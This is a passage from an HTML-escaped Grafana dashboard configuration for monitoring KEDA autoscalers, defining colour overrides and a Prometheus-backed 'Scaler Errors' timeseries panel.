/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;green&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;null&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;80&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;unit&quot;:&amp;nbsp;&quot;Errors/sec&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;overrides&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;matcher&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;byName&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;&quot;http-demo&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;properties&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;color&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fixedColor&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;fixed&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;matcher&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;byName&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;&quot;scaler&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;properties&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;color&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fixedColor&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;fixed&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;matcher&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;byName&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;&quot;prometheusScaler&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;properties&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;color&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fixedColor&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;fixed&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;9,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;8,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;8,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;3,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;calcs&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;displayMode&quot;:&amp;nbsp;&quot;list&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;placement&quot;:&amp;nbsp;&quot;bottom&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showLegend&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;single&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;editorMode&quot;:&amp;nbsp;&quot;code&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;sum&amp;nbsp;by(scaler)&amp;nbsp;(rate(keda_scaler_errors{exported_namespace=~\&quot;$namespace\&quot;,&amp;nbsp;scaledObject=~\&quot;$scaledObject\&quot;,&amp;nbsp;scaler=~\&quot;$scaler\&quot;}[5m]))&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;{{&amp;nbsp;scaler&amp;nbsp;}}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;range&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Scaler&amp;nbsp;Errors&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;timeseries&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;description&quot;:&amp;nbsp;&quot;The&amp;nbsp;number&amp;nbsp;of&amp;nbsp;errors&amp;nbsp;that&amp;nbsp;have&amp;nbsp;occurred&amp;nbsp;for&amp;nbsp;each&amp;nbsp;scaled&amp;nbsp;object.&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fieldConfig&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;defaults&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;palette-classic&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;custom&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisCenteredZero&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisColorMode&quot;:&amp;nbsp;&quot;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisLabel&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisPlacement&quot;:&amp;nbsp;&quot;auto&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;barAlignment&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;drawStyle&quot;:&amp;nbsp;&quot;line&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fillOpacity&quot;:&amp;nbsp;25,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gradientMode&quot;:&amp;nbsp;&quot;opacity&quot;,&lt;br 